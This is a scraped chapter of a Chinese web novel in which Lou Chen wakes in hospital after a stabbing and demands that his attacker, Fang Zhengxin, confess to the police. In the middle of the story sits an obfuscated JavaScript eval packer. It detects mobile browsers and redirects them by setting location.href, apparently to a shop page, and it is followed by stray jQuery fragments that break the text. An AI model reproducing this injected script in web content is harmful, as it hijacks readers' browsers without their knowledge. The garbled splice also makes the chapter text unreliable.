默认冷灰
24号文字
方正启体

13. 哥哥对我最好了(十三)

作者:万知本书字数:K更新时间:
    “醒了醒了!”


    “楼臣哥哥……你感觉怎么样,还疼不疼?”


    明亮宽敞的高级病房里,病床上的人皮肤不正常的白,唇上也毫无血色。


    见惯了他游刃有余,掌控一切的姿态,现在只觉得脆弱而怜惜。


    楼臣薄薄的眼皮掀开,瞳孔收缩,面前是好几张担忧望着他的脸。


    不出所料,他又醒了。


    “还好。”他轻声回答,喉咙有些干哑。


    “快叫医生来。”绣韵连忙道。


    “不用。”楼臣出声阻止,助理只好停下。


    窗外天色黑得彻底,闻到淡淡的药味,他视线转动,在偌大的病房四处划过,“周述生在哪儿。”


    众人闻言神色各异,黎绣韵犹豫地开口,“楼臣哥哥,他……”


    “小臣。”黎母上前来,关切地劝慰道,“他在外面呢,警察也都了解情况了,你别担心,这层楼都有人看着,不会再有人伤害你。”


    “他手上还有伤,止血包扎了吗?”


    楼臣的话让他们一愣,转而越发沉默。


    黎绣韵没忍住,憋着嘴打抱不平,“你还关心他的伤,你知道他维护那个杀人犯,说什么他不是故意的……那么长的刀,我看着都害怕。”


    她说着忍不住眼眶一酸,哭过很多次的眼睛又红起来。


    她本来在晚宴上开开心心地和朋友拍照,听到工作人员惊恐大喊杀人了,正不高兴地想谁在她订婚宴上闹事,接着听到说是楼臣,浑身一震。


    她慌张地拉住妈妈的手,对视一眼,两人快步跑过去。


    就看到楼臣晕倒在地,白色的西服裤从腰到腿,染出一片血红。她惊恐地靠近触碰,手指和裙摆都沾上血。


    黎绣韵差点也当场晕过去,她刚订婚怎么未婚夫就要死了?那她不就成寡妇了,不对,还没正式结婚没领证,他们还不是真正的夫妻。


    楼臣被送上救护车抢救时,她抱着妈妈哭得梨花带雨,幸好妈妈安慰她,楼臣会没事的,就算真的有事,也不会影响她的将来。


    楼臣腹部紧绷,呼吸都不敢用力,他看向助理,“去把周述生,还有方正信都叫过来。”


    文诚应下,赶忙出去了。


    “绣韵,妈,我没事了,你们回去休息。”


    绣韵还想说什么,被黎母拉住,“好,那我们就先走,明天再来看你。”


    两人道别走出病房,黎绣韵气闷不解,“妈,我们就这么走了?他可是我未婚夫。”


    黎母无奈点点她的额头,“你是不是傻,他有事要谈,你留下碍事。”


    “哼!”两人走远。


    没等到周述生和方正信,路照倒是急急忙忙进来了。


    他快步跑到楼臣旁边,睁大眼睛问,“你醒了,伤口还疼不疼?”


    “不。”楼臣回答,刚要让他出去,就听他愤愤不平地骂道,“那个蠢货律师,我把他打了一顿给你出气。”


    楼臣盯着他颧骨上的青紫,“你是打他还是被打。”


    路照摸了下自己的脸,疼得斯哈一声,更来气了,“这是你弟打的!”


    楼臣被赶来的医生接管后,路照看到方正信那副颤颤巍巍,但要杀要剐随便你的悲壮样子就火大。


    他冲上去揪着方正信打,边打边骂败类垃圾,结果被周述生拽开,上来给了他一拳让他冷静。


    他怎么冷静得下来,于是到最后又成了他们两个打。只是这次没有楼臣劝架,以周述生将他踹开,三两步跳上救护车为结尾。害得他还要自己开车来。


    楼臣静了片刻,“我晕倒的时候,你们很热闹啊。”


    “你那不是晕倒。”


    路照先是平静强调,然后盯着他突然大声,“你是快死了!”


    楼臣被他吵得偏过头。


    路照仍旧对着他念叨,“心脏停跳,大脑缺氧,输血输了好几袋,医生电了你三次才把你电回来!”


    楼臣毫无安慰代码的兴致,他看到病房门被推开,周述生走进来,勉强转头说了句,“我不是没死吗,出去。”


    “你……”


    路照也注意到门口,深深压下一口气,起身往外走,不爽地瞪了周述生和方正信好几眼。


    门关上,房间里总算安静下来。


    两个人脸色都不好,看过他一眼就低下头,罚站似的立在床尾。


    周述生穿的还是那身衣服,外套、内衬和裤子上全都是深深浅浅的血痕,手垂在身侧,裹着层层纱布。


    应该是折腾久了,他看起来有些狼狈,眼底乌青,低着头不言不语,仿佛用刀捅人的是他。


    【我现在的好孕值是多少。】


    楼臣看见他才想起来,他失去意识前,听到好孕值跳了一下,还没等到数值,他就晕过去了。


    【宿主,当前好孕值:-20】


    还好,应该是怕他真死了,愧疚之下才少了些恨意。


    楼臣浅白的唇轻启,“没有什么话对我说吗?”


    “对不起。”


    周述生先一步开口,嗓音比他还哑,“我没想到方叔会想杀你。”


    “你呢?”楼臣看向方正信。


    方正信身形一震,颤抖着弯下腰,“对不起,楼先生,我鬼迷心窍了,我知道我做错了,我对不起你……”


    楼臣对他的卑微视而不见,无情戳破,“你是看我没死,担心我找你麻烦吧。”


    方正信向前两步,痛哭流涕地跪在床尾,“不是的楼先生,我真的知道错了,你要多少赔偿,我倾家荡产也赔给你。”


    “我住豪宅,吃大餐,需要你那一星半点的赔偿?”


    楼臣一翻旧账,方正信更是吓得魂不附体,五十多岁的人了,头一次全无尊严地跪在地上,鼻青脸肿,不堪地乞求,“对不起,对不起……”


    楼臣提醒,“方叔,我可受不起你的大礼,别让我折寿。”


    周述生把泪流满面的方正信扶起来,低声说,“方叔一时心急,才会走了歪路。”


    方正信想杀楼臣,说到底是为了周锦,他又是周锦的儿子,他没有资格责怪他。


    方正信呜呜哭着,琢磨不透楼臣到底想要什么,“楼先生,我只有这条老命了,不行的话下半辈子我给你当牛做马!”


    “我的牛马已经够多了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375345|200072||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    楼臣婉拒,瞳色暗而黑,像是蒙着一层纱。


    他视线直直地落在方正信身上,“至于你,很简单,做错了事就要接受惩罚。你去自首,持械故意伤人,杀人未遂,我就不再追究。”


    面前两人皆是愣怔,方正信天都要塌了。


    楼臣哪里是不追究,这是最狠的追究了。


    来之前警察问话,知道他们的关系和前因后果,说如果受害人同意调解的话,他可能不用负刑事责任。


    他自己就是律师,自然清楚。本以为楼臣要报复他,就不会把他送交法办,没想到,楼臣居然真的一点不顾及私情。


    “楼先生,你想怎么对我都可以,但是,不要把我送进监狱,求你……”方正信踉跄走到他旁边,老泪纵横,诚恳至极,“我孩子还在上学,周锦她也需要人照顾,我真的不能进去啊……”


    楼臣沉默越久,方正信心里就越慌。


    他短短时间想尽了办法劝说,甚至拉过周述生来,让他一起求情。


    楼臣似是厌烦了,偏过头不看他们一眼。


    周述生听着方正信嚎啕的哭声,望着楼臣苍白的脸,手指松了又紧,伤口传来麻木的钝痛。


    “他是为了我才伤你,你惩罚我,好吗。”


    他说不出求楼臣原谅的话,毕竟那温热的,一股股按都按不住,使劲往外涌的鲜血,也流在了他的手上。


    楼臣倒在他怀里的时候,他第一次感受到对方的温度。


    不是他想象中冷冰冰的,而是暖的,软的,带有骨骼感的清瘦身体,不加防备地依靠着他。


    他只有一个念头,不能让楼臣死掉。于是他自己手心还在流血,却用尽力气按住楼臣的伤口。


    到医院后,楼臣的黑衬衫被脱下,原本颜色深不显,直到稍微一拧血都能挤出来,周述生才意识到,他的伤比他想象的还要重。


    差点死掉的人是楼臣,谁都无权要求他原谅。


    可是周述生也不想看方正信坐牢,对方从周锦住院开始,又是出钱又是出力,把大半的时间精力都给了他们,他不能不懂感恩。


    所以,他只能企求楼臣放过方正信,让自己替他赎罪。


    “怎么,你也要给我当牛做马?”


    楼臣调侃,随后颇为真诚地轻声问,“还是说,当狗啊?”


    周述生望着他,迟迟没有动作,他下颌紧崩,喉结上下滚动,瞳孔轻颤地回答,“好。”


    楼臣和他对视,嘴角的笑意缓缓淡下去,冷了个透彻,“不好意思,我不想要。”


    这人怎么为了方正信什么都答应,谁稀罕他当狗了,看着就烦。


    “对不起。”周述生再次道歉。


    似是真的不知道怎么办了。


    楼臣见他一副低三下四,受委屈的样子,抿了抿唇,“我不可能和解的。”


    他抬了抬手,示意方正信让开,反指一弯,让周述生靠近俯身过来,在他耳边轻声说,“我不放过他,不是因为他要杀我,是因为你。”


    在周述生怔怔看向他时,他眼尾勾起恶劣的笑,“不要忘了我说的话。”


    我可以让你的身边,空无一人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)